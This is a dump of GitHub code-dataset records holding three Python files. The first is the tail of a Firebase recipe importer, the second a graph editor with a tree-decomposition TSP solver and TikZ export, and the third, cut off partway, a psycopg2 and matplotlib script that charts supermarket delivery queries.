os.path.isfile(file):\r\n\t\t\t\tdocument = os.path.splitext(filename)[0]\r\n\t\t\t\t#collection.lstrip(directory + \"\\\\\")\r\n\t\t\t\tprint(document)\r\n\t\t\t\tdata = dataJSON(file)\r\n\r\n\t\t\t\tdocumentPtr = db.collection('recipes').document(document).collection('all')\r\n\t\t\t\tfor element in data:\r\n\t\t\t\t\tif element:\r\n\t\t\t\t\t\tdocumentPtr.add(element)\r\n\texcept Exception as error:\r\n\t\tprint(\"ERROR: {}\".format(str(error)))\r\n\telse:\r\n\t\tprint(\"completed\")\r\n\r\n\r\ndef dataJSON(datafile):\r\n\twith open(datafile, 'r',encoding= 'utf-8') as file:\r\n\t\treturn json.load(file)\r\n\r\nUSAGE = \"Please enter the directory for the data.\\n COMMAND: python firebase_add_dir.py directory\\n\"\r\n\r\nif __name__ == '__main__':\r\n\ttry:\r\n\t\tif len(sys.argv) == 2:\r\n\t\t\tdirectory = sys.argv[1]\r\n\r\n\t\telse:\r\n\t\t\tprint(USAGE)\r\n\t\t\texit()\r\n\r\n\t\timportData(directory)\r\n\r\n\texcept KeyboardInterrupt as keyboard_err:\r\n\t\tprint(\"Process Interrupted\\n\")\r\n\tfinally:\r\n\t\tprint(\"Ended!\")\r\n","repo_name":"ericcai9907/DIETISE","sub_path":"Database/Firebase/firebase_add_dir.py","file_name":"firebase_add_dir.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"21223993560","text":"# import cProfile\nimport sys\nimport json\nfrom .settings import *\nfrom .graph import *\nfrom contextlib import suppress\n\n\nclass GraphInteraction():\n def __init__(self, mainWin):\n self.initKeymap()\n self.graph = TreeDecomposition(Graph(True))\n self.hoverVertex = None\n self.hoverEdge = None\n self.selectedVertices = [] # List with vertex ids\n self.mainWin = mainWin\n self.isTreeDecomposition = type(self.graph) == TreeDecomposition\n\n # LOL, this is actually nescessary for (DP on) some graphs (500 vertices)\n sys.setrecursionlimit(2000)\n\n def redraw(self):\n self.mainWin.redraw()\n\n def initKeymap(self):\n self.keymap = {\n 'LMB': self.selectVertex,\n 'RMB': self.selectVertex,\n 'a': self.selectAll,\n 'Esc': self.deselect,\n 'v': self.addVertex,\n 'b': self.addBag,\n 'd': self.removeVertices,\n 'c': self.cliqueify,\n 'p': self.pathify,\n 't': self.treeify,\n '1': self.toggleDrawText,\n '2': self.toggleDrawSize,\n '-': self.zoomOut,\n '+': self.zoomIn,\n '=': self.resetZoom,\n 'g': self.gridAdjust,\n 'q': self.tspDP,\n 'w': self.tikz,\n 'Ctrl-s': self.saveAs,\n 'Ctrl-o': self.openFile,\n 'Ctrl-c': self.quit,\n 'Ctrl-d': self.quit\n }\n\n #\n # Graph editing tools\n #\n def selectVertex(self):\n \"\"\"(De)select a vertex\"\"\"\n if not self.hoverVertex:\n return False\n if self.hoverVertex in self.selectedVertices:\n with suppress(ValueError):\n self.selectedVertices.remove(self.hoverVertex)\n else:\n self.selectedVertices.append(self.hoverVertex)\n return True\n\n def selectAll(self):\n \"\"\"(De)select all vertices\"\"\"\n if self.selectedVertices == self.graph.vertices and self.selectedVertices != []:\n self.selectedVertices = []\n elif self.graph.originalGraph:\n if self.selectedVertices == self.graph.originalGraph.vertices:\n self.selectedVertices = list(self.graph.vertices)\n else:\n self.selectedVertices = list(self.graph.originalGraph.vertices)\n else:\n self.selectedVertices = list(self.graph.vertices)\n self.redraw()\n\n def deselect(self):\n \"\"\"Deselect all vertices\"\"\"\n self.selectedVertices = []\n self.redraw()\n\n def addVertex(self):\n \"\"\"Add a vertex at the mouse position\"\"\"\n workGraph = self.graph.originalGraph if self.isTreeDecomposition else self.graph\n if self.hoverVertex != None or self.hoverEdge != None:\n return False\n if not workGraph.addVertex(Vertex(workGraph, len(workGraph.vertices), self.mainWin.mousePos)):\n return False\n self.hoverVertex = workGraph.vertices[-1]\n self.redraw()\n\n def addBag(self):\n \"\"\"Add a bag at the mouse position\"\"\"\n if not self.isTreeDecomposition:\n return False\n if self.hoverVertex != None or self.hoverEdge != None:\n return False\n if not self.graph.addVertex(Bag(self.graph, len(self.graph.vertices), self.mainWin.mousePos)):\n return False\n self.hoverVertex = self.graph.vertices[-1]\n self.redraw()\n\n def removeVertices(self):\n \"\"\"Remove the selected vertices\"\"\"\n for v in self.selectedVertices:\n if type(v) == Bag:\n self.graph.removeVertex(v)\n else:\n self.graph.originalGraph.removeVertex(v)\n self.selectedVertices = []\n self.redraw()\n\n def cliqueify(self):\n \"\"\"Add or remove edges between all selected vertices\"\"\"\n if len(self.selectedVertices) < 2:\n return\n result = False\n workGraph = self.graph\n if self.isTreeDecomposition and type(self.selectedVertices[0]) != Bag:\n workGraph = self.graph.originalGraph\n # Add clique edges\n for a in self.selectedVertices:\n for b in self.selectedVertices:\n if a != b:\n if workGraph.addEdge(a.vid, b.vid):\n result = True\n # If no edges were added, remove all edges\n if not result:\n for a in self.selectedVertices:\n for b in self.selectedVertices:\n if a.vid < b.vid:\n workGraph.removeEdge(a.vid, b.vid)\n self.redraw()\n\n def pathify(self):\n \"\"\"Create a path, a tour or remove all edges between consecutive vertices\"\"\"\n if len(self.selectedVertices) < 2:\n return\n result = False\n workGraph = self.graph\n sv = self.selectedVertices\n if self.isTreeDecomposition and type(self.selectedVertices[0]) != Bag:\n workGraph = self.graph.originalGraph\n # Add path edges\n for i in range(len(sv) - 1):\n if workGraph.addEdge(sv[i].vid, sv[i + 1].vid):\n result = True\n # Add tour edge\n if not result:\n result = workGraph.addEdge(sv[0].vid, sv[-1].vid)\n # If no edges were added, remove all edges\n if not result:\n for i in range(len(sv) - 1):\n workGraph.removeEdge(sv[i].vid, sv[i + 1].vid)\n if len(sv) > 2:\n workGraph.removeEdge(sv[0].vid, sv[-1].vid)\n self.redraw()\n\n def treeify(self):\n \"\"\"Connect or remove the first vertex to all others\"\"\"\n if len(self.selectedVertices) < 2:\n return\n result = False\n workGraph = self.graph\n sv = self.selectedVertices\n if self.isTreeDecomposition and type(self.selectedVertices[0]) != Bag:\n workGraph = self.graph.originalGraph\n # Add path edges\n r = sv[0]\n for v in sv[1:]:\n if workGraph.addEdge(r.vid, v.vid):\n result = True\n # If no edges were added, remove all edges\n if not result:\n for v in sv[1:]:\n workGraph.removeEdge(r.vid, v.vid)\n self.redraw()\n\n def toggleDrawText(self):\n \"\"\"Toggle drawtext settings\"\"\"\n self.mainWin.settings.drawtext = not self.mainWin.settings.drawtext\n self.redraw()\n def toggleDrawSize(self):\n \"\"\"Toggle draw size settings\"\"\"\n self.mainWin.settings.drawsize = (self.mainWin.settings.drawsize + 2) % 3\n self.redraw()\n\n def zoomOut(self):\n \"\"\"Zoom out\"\"\"\n self.mainWin.scaleFactor /= 2\n self.redraw()\n def zoomIn(self):\n \"\"\"Zoom in\"\"\"\n self.mainWin.scaleFactor *= 2\n self.redraw()\n def resetZoom(self):\n \"\"\"Reset zoom\"\"\"\n self.mainWin.scaleFactor = 1\n self.redraw()\n\n def gridAdjust(self):\n \"\"\"Adjust vertices that are almost horizontal or vertical\"\"\"\n difference = 5\n for u in self.selectedVertices:\n for v in self.selectedVertices:\n if u == v:\n continue\n if abs(u.pos.x - v.pos.x) <= difference:\n u.pos.x = (u.pos.x + v.pos.x) // 2\n v.pos.x = u.pos.x\n if abs(u.pos.y - v.pos.y) <= difference:\n u.pos.y = (u.pos.y + v.pos.y) // 2\n v.pos.y = u.pos.y\n self.redraw()\n\n #\n # Parse to tikz\n #\n def tikz(self):\n \"\"\"Output the LaTeX tikz-code that draws the current graph (and TD)\"\"\"\n # Some configuration that might (or might not) be usefull to have in the LaTeX document.\n # \\tikzstyle{vertex2} = [circle,fill=black!25,minimum size=18pt,align=center,font=\\tiny]\n # \\tikzstyle{vertex1} = [circle,fill=black!25,minimum size=8pt,align=center,font=\\tiny]\n # \\tikzstyle{vertex0} = [circle,minimum size=1pt]\n # \\tikzstyle{bag} = [circle,fill=black!25,minimum size=35pt,align=center,text width=35pt,font=\\tiny]\n # \\tikzstyle{edge} = [draw,-]\n # \\tikzstyle{arc} = [draw,->-]\n # \\tikzstyle{weight} = [font=\\small]\n z = 1 / 80\n print(r\"\\begin{figure}\")\n print(r\"\\centering\")\n print(r\"\\begin{tikzpicture}[auto,swap]\")\n\n # Tree decomposition first, so it appears in the back if overlapping\n for b in self.graph.vertices:\n print(r\"\\node[bag] (b-{}) at ({:.2f}, {:.2f}) {{{}: {}}};\".format(\n b.vid, b.pos.x * z, -b.pos.y * z, b.vid, str([v.vid for v in b.vertices])[1:-1]\n ))\n\n for b in self.graph.vertices:\n for e in b.edges:\n if b.vid > e.other(b).vid:\n continue\n print(r\"\\path[edge] (b-{}) to (b-{});\".format(b.vid, e.other(b).vid))\n\n # Then the normal graph\n for v in self.graph.originalGraph.vertices:\n print(r\"\\node[vertex{}] ({}) at ({:.2f}, {:.2f}) {{{}}};\".format(\n self.mainWin.settings.drawsize, v.vid, v.pos.x * z, -v.pos.y * z, v.vid\n ))\n\n for v in self.graph.originalGraph.vertices:\n for e in v.edges:\n if v.vid > e.other(v).vid:\n continue\n print(r\"\\path[edge] ({}) to ({});\".format(v.vid, e.other(v).vid))\n\n print(r\"\\end{tikzpicture}\")\n print(r\"\\caption{TODO}\")\n print(r\"\\label{fig:TODO}\")\n print(r\"\\end{figure}\")\n print()\n\n #\n # Dynamic Programming Algorithm\n #\n def tspDP(self):\n \"\"\"Temp tsp\"\"\"\n # cProfile.runctx('self.temptemptemp()', globals(), locals())\n self.temptemptemp()\n\n def temptemptemp(self):\n \"\"\"Compute the smallest tour using DP on a tree decomposition\"\"\"\n if not self.isTreeDecomposition or len(self.graph.vertices) < 1:\n return\n Xroot = self.createRoot()\n S = self.fromDegreesEndpoints([2] * len(Xroot.vertices), [])\n value = self.tspTable(S, Xroot)\n print(\"TSP cost: {}\".format(value))\n for nr, table in enumerate([bag.a for bag in self.graph.vertices]):\n print('X{}'.format(nr))\n for key, val in table.items():\n print(' {}: {}'.format(key, val))\n if value < sys.maxsize:\n tour = list(set(self.tspReconstruct(S, Xroot)))\n print('\\nDP-TSP:\\n Length: {}\\n Tour: {}\\n'.format(value, tour))\n\n def tspTable(self, S, Xi):\n # The smallest value such that all vertices below Xi have degree 2 and vertices in Xi have degrees defined by S\n debug = False\n if debug: print(\"A({} {}, X{}): {}\".format(self.toDegrees(S), self.toEndpoints(S), Xi.vid, \"?\"))\n if S in Xi.a:\n if debug: print('lookup return: {}'.format(Xi.a[S]))\n return Xi.a[S]\n # We don't know this value yet, so we compute it.\n edges = []\n for v in Xi.vertices:\n for e in v.edges:\n if e.other(v) not in Xi.vertices:\n continue\n if v.vid < e.other(v).vid:\n edges.append(e)\n edges.sort(key=lambda e: e.cost)\n degrees = self.toDegrees(S)\n endpoints = self.toEndpoints(S)\n childEndpoints = [[] for _ in Xi.edges]\n childDegrees = [[0] * len(degrees) for _ in Xi.edges]\n Xi.a[S] = self.tspRecurse(Xi, edges, 0, 0, degrees, childDegrees, endpoints, childEndpoints,\n self.tspChildEvaluation, min, sys.maxsize)\n if debug: print('calculation return: {}'.format(Xi.a[S]))\n return Xi.a[S]\n\n def tspChildEvaluation(self, Xi, edges, targetDegrees, childDegrees, endpoints, childEndpoints, resultingEdgeList = None):\n # This method is the base case for the calculate tsp recurse method.\n # If we analyzed the degrees of all vertices (i.e. we have a complete combination),\n # return the sum of B values of all children.\n debug = False\n # Check: all bags (except the root) are not allowed to be a cycle.\n if not endpoints and Xi.parent:\n if debug: print('{}All bags should be a cycle - no endpoints given'.format(' ' * len(Xi.vertices)))\n return sys.maxsize\n # Base cost: the edges needed inside this Xi to account for the (target) degrees we didn't pass on to our children.\n allChildEndpoints = sum(childEndpoints, []) # Flatten the list\n val = self.tspEdgeSelect(sys.maxsize, 0, Xi, edges, targetDegrees, endpoints, allChildEndpoints, resultingEdgeList)\n if 0 <= val < sys.maxsize:\n if debug: print('{}Local edge selection cost: {}, edges: {}, degrees: {}, endpoints: {}, edgeList: {}'.format(\n ' ' * len(Xi.vertices), val, edges, targetDegrees, endpoints, resultingEdgeList))\n for k, cds in enumerate(childDegrees):\n Xkid = Xi.edges[k].other(Xi)\n if Xi.parent != Xkid:\n # Strip off the vertices not in Xkid and add degrees 2 for vertices not in Xi\n kidDegrees = [2] * len(Xkid.vertices)\n for p, v in enumerate(Xkid.vertices):\n for q, w in enumerate(Xi.vertices):\n if v == w:\n kidDegrees[p] = cds[q]\n S = self.fromDegreesEndpoints(kidDegrees, childEndpoints[k])\n if debug: print('{}child A: {}, cds: {}, degrees: {}, endpoints: {}'.format(' ' * len(Xi.vertices),\n val, cds, kidDegrees, childEndpoints[k]))\n # Add to that base cost the cost of hamiltonian paths nescessary to satisfy the degrees.\n val += self.tspTable(S, Xkid)\n if debug: print('{}Min cost for X{} with these child-degrees: {}'.format(' ' * len(Xi.vertices), Xi.vid, val))\n else:\n if debug: print('{}No local edge selection found'.format(' ' * len(Xi.vertices)))\n return val\n\n def tspReconstruct(self, S, Xi):\n # Reconstruct the tsp tour (get a list of all edges)\n edges = []\n for v in Xi.vertices:\n for e in v.edges:\n if e.other(v) not in Xi.vertices:\n continue\n if v.vid < e.other(v).vid:\n edges.append(e)\n edges.sort(key=lambda e: e.cost)\n degrees = self.toDegrees(S)\n endpoints = self.toEndpoints(S)\n childEndpoints = [[] for _ in Xi.edges]\n childDegrees = [[0] * len(degrees) for _ in Xi.edges]\n mergeF = lambda a, b: a + b\n return self.tspRecurse(Xi, edges, 0, 0, degrees, childDegrees, endpoints, childEndpoints, self.tspLookback, mergeF, [])\n\n def tspLookback(self, Xi, edges, targetDegrees, childDegrees, endpoints, childEndpoints):\n # This method is the base case for the reconstruct tsp recurse method.\n debug = False\n resultingEdgeList = [] # This list will be filled with the edges used in Xi\n totalDegrees = targetDegrees.copy()\n for cds in childDegrees:\n for i, d in enumerate(cds):\n totalDegrees[i] += d\n val = Xi.a[self.fromDegreesEndpoints(totalDegrees, endpoints)]\n if val == None:\n return []\n if val != self.tspChildEvaluation(Xi, edges, targetDegrees, childDegrees, endpoints, childEndpoints, resultingEdgeList):\n return [] # Side effect above intended to fill the edge list\n if debug: print('X{} edgelist 1: {}'.format(Xi.vid, resultingEdgeList))\n # So these are indeed the child degrees that we are looking for\n for k, cds in enumerate(childDegrees):\n Xkid = Xi.edges[k].other(Xi)\n if Xi.parent != Xkid:\n # Strip off the vertices not in Xkid and add degrees 2 for vertices not in Xi\n kidDegrees = [2] * len(Xkid.vertices)\n for p, v in enumerate(Xkid.vertices):\n for q, w in enumerate(Xi.vertices):\n if v == w:\n kidDegrees[p] = cds[q]\n S = self.fromDegreesEndpoints(kidDegrees, childEndpoints[k])\n # We already got the resultingEdgeList for Xi, now add the REL for all the children\n resultingEdgeList += self.tspReconstruct(S, Xkid)\n # print('test 2 edgelist: {}'.format(resultingEdgeList))\n if debug: print('X{} edgelist 3: {}'.format(Xi.vid, resultingEdgeList))\n return resultingEdgeList\n\n def tspRecurse(self, Xi, edges, i, j, targetDegrees, childDegrees, endpoints, childEndpoints, baseF, mergeF, defaultVal):\n # Select all possible mixes of degrees for all vertices and evaluate them\n # i = the vertex we currently analyze, j = the child we currently analyze\n # targetDegrees goes from full to empty, childDegrees from empty to full, endpoints are the endpoints for each child path\n debug = False and isinstance(defaultVal, int)\n if debug: print('{}{}{} (X{}: {}, {}) {}|{}'.format(' ' * i, childDegrees, ' ' * (len(Xi.vertices) + 8 - i), Xi.vid, i, j, targetDegrees, endpoints))\n # Final base case.\n if i >= len(Xi.vertices):\n return baseF(Xi, edges, targetDegrees, childDegrees, endpoints, childEndpoints)\n # Base case: if we can't or didn't want to 'spend' this degree, move on\n if targetDegrees[i] == 0 or j >= len(Xi.edges):\n return self.tspRecurse(Xi, edges, i + 1, 0, targetDegrees, childDegrees, endpoints, childEndpoints,\n baseF, mergeF, defaultVal)\n Xj = Xi.edges[j].other(Xi)\n # Base case: if the current bag (must be child) does not contain the vertex to analyze, try the next (child) bag\n if Xi.parent == Xi.edges[j].other(Xi) or Xi.vertices[i] not in Xj.vertices:\n return self.tspRecurse(Xi, edges, i, j + 1, targetDegrees, childDegrees, endpoints, childEndpoints,\n baseF, mergeF, defaultVal)\n\n # If the current degree is 2, try letting the child manage it\n result = defaultVal\n if targetDegrees[i] == 2 and childDegrees[j][i] == 0:\n td, cds = targetDegrees.copy(), [d.copy() for d in childDegrees]\n td[i] = 0\n cds[j][i] = 2\n result = self.tspRecurse(Xi, edges, i + 1, 0, td, cds, endpoints, childEndpoints, baseF, mergeF, defaultVal)\n # If the current degree is at least 1 (which it is if we get here),\n # try to combine it (for all other vertices) in a hamiltonian path\n for k in range(i + 1, len(Xi.vertices)):\n # Stay in {0, 1, 2}\n if targetDegrees[k] < 1 or childDegrees[j][k] > 1 or Xi.vertices[k] not in Xj.vertices:\n continue\n # Don't add edges twice\n if self.inEndpoints(childEndpoints[j], Xi.vertices[i].vid, Xi.vertices[k].vid):\n continue\n td, cds, eps = targetDegrees.copy(), [d.copy() for d in childDegrees], [ep.copy() for ep in childEndpoints]\n td[i] -= 1\n cds[j][i] += 1\n td[k] -= 1\n cds[j][k] += 1\n eps[j].extend([Xi.vertices[nr].vid for nr in [i, k]])\n\n\n # DEBUG DEBUG DEBUG\n for test1 in range(len(eps[j]) - 1):\n for test2 in range(test1 + 1, len(eps[j])):\n if eps[j][test1] == eps[j][test2]:\n print(\"NOOOOOOOOOOOOOOOO! - some endpoints are occuring twice in the eps list: {}\".format(eps[j]));\n\n\n # We may have to try to analyze the same vertex again if it's degree is higher than 1\n result = mergeF(result, self.tspRecurse(Xi, edges, i, j, td, cds, endpoints, eps, baseF, mergeF, defaultVal))\n # Also, try not assigning this degree to anyone, we (maybe) can solve it inside Xi\n result = mergeF(result, self.tspRecurse(Xi, edges, i, j + 1, targetDegrees, childDegrees,\n endpoints, childEndpoints, baseF, mergeF, defaultVal))\n return result\n\n # Todo: use the minimum to abort early??? (is possible for leaf case, but perhaps not for normal bag case\n def tspEdgeSelect(self, minimum, index, Xi, edges, degrees, endpoints, allChildEndpoints, edgeList = None):\n # Calculate the smallest cost to satisfy the degrees target using only using edges >= the index\n debug = False\n # Base case 1: the degrees are all zero, so we succeeded as we don't need to add any more edges\n satisfied = True\n for d in degrees:\n if d != 0:\n satisfied = False\n break\n if satisfied:\n # So we have chosen all our edges and satisfied the targets - now make sure there is no cycle (unless root)\n if not self.cycleCheck(endpoints, edgeList, allChildEndpoints):\n if debug: print('Edge select ({}): edges contain a cycle'.format(index))\n return sys.maxsize\n if debug: print('Edge select ({}): no need to add edges, min value: 0'.format(index))\n return 0\n # Base case 2: we have not succeeded yet, but there are no more edges to add, so we failed\n if index >= len(edges):\n if debug: print('Edge select ({}): no more edges to add'.format(index))\n return sys.maxsize\n # Base case 3: one of the degrees is < 1, so we added too many vertices, so we failed [with side effect]\n edge = edges[index]\n deg = degrees.copy()\n assertCounter = 0\n for i, d in enumerate(deg):\n if Xi.vertices[i] == edge.a or Xi.vertices[i] == edge.b:\n if d < 0: # If it's negative it will tell us later\n # - can't return right now, as we need to evaluete not taking this edge as well.\n if debug: print('Edge select ({}): too many edges added'.format(index))\n return sys.maxsize\n # While checking this base case, also compute the new degree list for the first recursion\n deg[i] -= 1\n assertCounter += 1\n assert assertCounter in {0, 2}\n\n # Try both to take the edge and not to take the edge\n if debug: print('Edge select ({}), degrees: {}'.format(index, degrees))\n tempEL = [] if edgeList == None else edgeList.copy()\n tempEL1, tempEL2 = tempEL + [edge], tempEL.copy()\n minimum = min(minimum, edge.cost + self.tspEdgeSelect(minimum - edge.cost, index + 1, Xi, edges,\n deg, endpoints, allChildEndpoints, tempEL1))\n val = self.tspEdgeSelect(minimum, index + 1, Xi, edges, degrees, endpoints, allChildEndpoints, tempEL2)\n if val < minimum:\n minimum = val\n # So without edge is better - Append the second edge list\n if edgeList != None:\n for e in tempEL2:\n edgeList.append(e)\n # So without edge is not better - Append the first edge list\n elif edgeList != None:\n for e in tempEL1:\n edgeList.append(e)\n if debug: print('Edge select ({}): min value: {}, edges: {}'.format(index, minimum, edgeList))\n return minimum\n\n def toDegrees(self, S):\n # From a string representation to a list of degrees\n return json.loads(S.split('|')[0])\n\n def toEndpoints(self, S):\n # From a string representation to a list of edges\n return json.loads(S.split('|')[1])\n\n def fromDegreesEndpoints(self, degrees, endpoints):\n # From a list of degrees and endpoints to a string representation\n return json.dumps(degrees) + '|' + json.dumps(endpoints)\n\n def createRoot(self, rootBag=None):\n \"\"\"Make the tree decomposition a true tree, by choosing a root and setting all parent pointers correctly\"\"\"\n # Choose the first bag as root if none is given\n if rootBag == None:\n rootBag = self.graph.vertices[0]\n # Define a local function that sets the parent of a bag recursively\n def setParentRecursive(bag, parent):\n bag.parent = parent\n bag.a = {}\n for e in bag.edges:\n child = e.other(bag)\n if not parent or bag.parent != child:\n setParentRecursive(child, bag)\n # Set the parent for all bags\n setParentRecursive(rootBag, None)\n return rootBag\n\n def cycleCheck(self, endpoints, edgeList, allChildEndpoints):\n # This method returns whether or not the given edge list and all child endpoints provide a set of paths\n # satisfying the endpoints and sorts the edge list in place.\n debug = False\n progressCounter, edgeCounter, endpsCounter, v = -2, 0, 0, None\n if edgeList == None: edgeList = []\n\n # Special case: the root bag.\n if endpoints == []:\n if len(allChildEndpoints) > 0:\n endpoints = allChildEndpoints[:2]\n endpsCounter += 2\n elif len(edgeList) > 0:\n endpoints = [edgeList[0].a.vid, edgeList[0].b.vid]\n edgeCounter += 1\n else:\n if debug: print('ERROR: cycle check root bag has both no edges to add, nor any child endpoints')\n return False\n\n # Normal case\n while True:\n # Dump the state\n if debug:\n print('cycle check dump 1:')\n print(' endpoints: {}'.format(endpoints))\n print(' edgeList: {} - {}'.format(edgeCounter, edgeList))\n print(' kid endpoints: {} - {}'.format(endpsCounter, allChildEndpoints))\n print(' progress: {} - v: {}\\n'.format(progressCounter, -1 if not v else v.vid))\n\n # If we completed the path\n if v == None or v.vid == endpoints[progressCounter + 1]:\n progressCounter += 2\n if progressCounter >= len(endpoints):\n if edgeCounter == len(edgeList) and endpsCounter == len(allChildEndpoints):\n return True\n else:\n if debug: print('ERROR: all endpoints are satisfied, but there are edges or endpoints left')\n return False\n v = self.graph.originalGraph.vertices[endpoints[progressCounter]]\n\n # Dump the state\n if debug:\n print('cycle check dump 2:')\n print(' endpoints: {}'.format(endpoints))\n print(' edgeList: {} - {}'.format(edgeCounter, edgeList))\n print(' kid endpoints: {} - {}'.format(endpsCounter, allChildEndpoints))\n print(' progress: {} - v: {}\\n'.format(progressCounter, -1 if not v else v.vid))\n\n # Find the next vertex\n for i in range(endpsCounter, len(allChildEndpoints), 2):\n if v.vid in allChildEndpoints[i : i + 2]:\n v = self.graph.originalGraph.vertices[allChildEndpoints[i + 1 if v.vid == allChildEndpoints[i] else i]]\n allChildEndpoints[endpsCounter : endpsCounter + 2], allChildEndpoints[i : i + 2] = allChildEndpoints[\n i : i + 2], allChildEndpoints[endpsCounter : endpsCounter + 2]\n endpsCounter += 2\n break\n else:\n for i in range(edgeCounter, len(edgeList)):\n if v in edgeList[i]:\n v = edgeList[i].other(v)\n edgeList[edgeCounter], edgeList[i] = edgeList[i], edgeList[edgeCounter]\n edgeCounter += 1\n break\n else:\n if debug: print('eps: {}, edgelist: {}, all kid eps: {}'.format(endpoints, edgeList, allChildEndpoints))\n if debug: print('ERROR, no more endpoints or edges found according to specs')\n return False\n if debug: print('ERROR: The code should not come here')\n return False\n\n def inEndpoints(self, endpoints, start, end):\n # Return whether or not this combination of endpoints (or reversed order) is already in the endpoints list\n for j in range(0, len(endpoints), 2):\n if (endpoints[j] == start and endpoints[j + 1] == end) or (endpoints[j + 1] == start and endpoints[j] == end):\n return True\n return False\n\n #\n # Misc\n #\n def quit(self):\n \"\"\"Quit\"\"\"\n self.mainWin.quit()\n\n def saveAs(self):\n \"\"\"Save the graph to file\"\"\"\n origGraph = self.graph.originalGraph if self.isTreeDecomposition else self.graph\n vidStart = self.mainWin.settings.vidStart\n s = \"\"\n s += \"DIMENSION : {}\\n\".format(len(origGraph.vertices))\n if origGraph.isEuclidean:\n s += \"EDGE_WEIGHT_TYPE : EUC_2D\\n\"\n s += \"NODE_COORD_SECTION\\n\"\n for v in origGraph.vertices:\n s += \"{} {} {}\\n\".format(v.vid + vidStart, int(v.pos.x), int(v.pos.y))\n s += \"EDGE_SECTION\\n\"\n for v in origGraph.vertices:\n for e in v.edges:\n if v.vid < e.other(v).vid:\n s += \"{} {} {}\\n\".format(e.a.vid + vidStart, e.b.vid + vidStart, int(e.cost))\n if self.isTreeDecomposition:\n s += \"BAG_COORD_SECTION\\n\"\n for b in self.graph.vertices:\n s += \"{} {} {}\".format(b.vid + vidStart, int(b.pos.x), int(b.pos.y))\n for v in b.vertices:\n s += \" \" + str(v.vid + vidStart)\n s += \"\\n\"\n s += \"BAG_EDGE_SECTION\\n\"\n for b in self.graph.vertices:\n for e in b.edges:\n if e.a.vid < e.b.vid:\n s += \"{} {}\\n\".format(e.a.vid + vidStart, e.b.vid + vidStart)\n self.mainWin.app.broSave(s, True)\n\n def openFile(self):\n \"\"\"Open a file\"\"\"\n path = self.mainWin.app.broOpen()\n self.openFileWithPath(path)\n\n def openFileWithPath(self, path):\n if path == \"\":\n return\n with open(path) as f:\n # Looks like the file opening went right. Good, now first create the new graph.\n self.graph = TreeDecomposition(Graph(False))\n origGraph = self.graph.originalGraph if self.isTreeDecomposition else self.graph\n self.mainWin.app.setTitle()\n comp = lambda line, s: line[0:len(s)] == s\n state = 0 # 0=nothing, 1=vertices, 2=edges, 3=bags, 4=bag edges\n vidStart = self.mainWin.settings.vidStart\n\n # And lets now fill the graph with some sensible stuff.\n for line in f:\n l = line.strip().split(' ')\n # Important file parameters\n if comp(line, \"NAME : \"):\n self.graph.name = l[2]\n origGraph.name = l[2]\n self.mainWin.app.setTitle(l[2])\n elif comp(line, \"EDGE_WEIGHT_TYPE : EUC_2D\"):\n origGraph.isEuclidean = True\n # Vertices and edges\n elif comp(line, \"NODE_COORD_SECTION\"): state = 1\n elif comp(line, \"EDGE_SECTION\"): state = 2\n elif comp(line, \"BAG_COORD_SECTION\"): state = 3\n elif comp(line, \"BAG_EDGE_SECTION\"): state = 4\n elif comp(line, \"DEMAND_SECTION\"): state = 5\n elif comp(line, \"DEPOT_SECTION\"): state = 6\n # Add vertices, edges, bags or bag edges\n elif state == 1:\n origGraph.addVertex(Vertex(origGraph, int(l[0]) - vidStart, Pos(int(l[1]), int(l[2]))))\n elif state == 2:\n origGraph.addEdge(int(l[0]) - vidStart, int(l[1]) - vidStart, int(l[2]))\n elif state == 3:\n bag = Bag(self.graph, int(l[0]) - vidStart, Pos(int(l[1]), int(l[2])))\n for v in l[3:]:\n bag.addVertex(origGraph.vertices[int(v) - vidStart])\n self.graph.addVertex(bag)\n elif state == 4:\n self.graph.addEdge(int(l[0]) - vidStart, int(l[1]) - vidStart, 1)\n\n # Change some settings for large graphs\n if len(origGraph.vertices) > 30:\n self.mainWin.settings.drawtext = False\n self.mainWin.settings.drawsize = 0\n for _ in range(5):\n self.zoomOut()\n self.redraw()\n\n def keymapToStr(self):\n \"\"\"Returns a string with all the keys and their explanation (docstring).\"\"\"\n result = \"\"\n for key, command in sorted(self.keymap.items()):\n result += key + \": \" + command.__doc__ + \"\\n\"\n return result\n\n","repo_name":"Mattias1/graph-tools","sub_path":"src/graph_interaction.py","file_name":"graph_interaction.py","file_ext":"py","file_size_in_byte":32967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73112262865","text":"import psycopg2\nimport matplotlib.pyplot as plt\n\nusername = 'nedzelsky'\npassword = '3030'\ndatabase = 'db_lab3_nedzelsky'\n\nquery_1 = '''\nselect \n\tsup_name, \n\tcount(del_date) as total_number_purchases\nfrom \n\tsupermarkets \n\tleft join deliveries using(sup_id)\n\tleft join vegetables using(prod_id)\ngroup by \n\tsupermarkets.sup_id\norder by \n\ttotal_number_purchases;\n'''\n\nquery_2 = '''\nselect \n\tsup_name, \n\tsum(del_quantity_kg * prod_price_kg) as total_amount_purchases\nfrom \n\tsupermarkets \n\tleft join deliveries using(sup_id)\n\tleft join vegetables using(prod_id)\ngroup by \n\tsupermarkets.sup_id\norder by \n\ttotal_amount_purchases;\n'''\n\nquery_3 = \"\"\"\nselect \n\trtrim(storages.stor_id) as stor_id, \n\tcoalesce(sum(stor_prod_quantity_kg), 0) as store_prod_quantity_kg\nfrom \n\tstorages \n\tleft join storage_vegetables using(stor_id)\n\tleft join vegetables using(prod_id)\nwhere \n\tprod_name = 'potato'\ngroup by \n\tstorages.stor_id\nhaving \n\tcoalesce(sum(stor_prod_quantity_kg), 0) >= 100;\n\"\"\"\n\nconn = psycopg2.connect(user=username, password=password, dbname=database)\nprint(type(conn))\n\nwith conn:\n \n cur = conn.cursor()\n\n cur.execute(query_1)\n supermarkets_1 = []\n total_number_purchases = []\n\n for row in cur:\n replaced_row_0 = row[0].replace(' ', '\\n')\n supermarkets_1.append(replaced_row_0)\n total_number_purchases.append(row[1])\n\n figure, (bar_ax, pie_ax, pie2_ax) = plt.subplots(1, 3)\n bar = bar_ax.bar(supermarkets_1, total_number_purchases, label='Total')\n bar_ax.bar_label(bar, label_type='center')\n bar_ax.set_xlabel('Супермаркети')\n bar_ax.set_ylabel('Кількість замовлень')\n bar_ax.set_title('Кількість замовлень здійснених кожним магазином')\n\n\n cur.execute(query_2)\n supermarkets_2 = []\n total_amount_purchases = []\n\n for row in cur:\n supermarkets_2.append(row[0])\n total_amount_purchases.append(row[1])\n\n 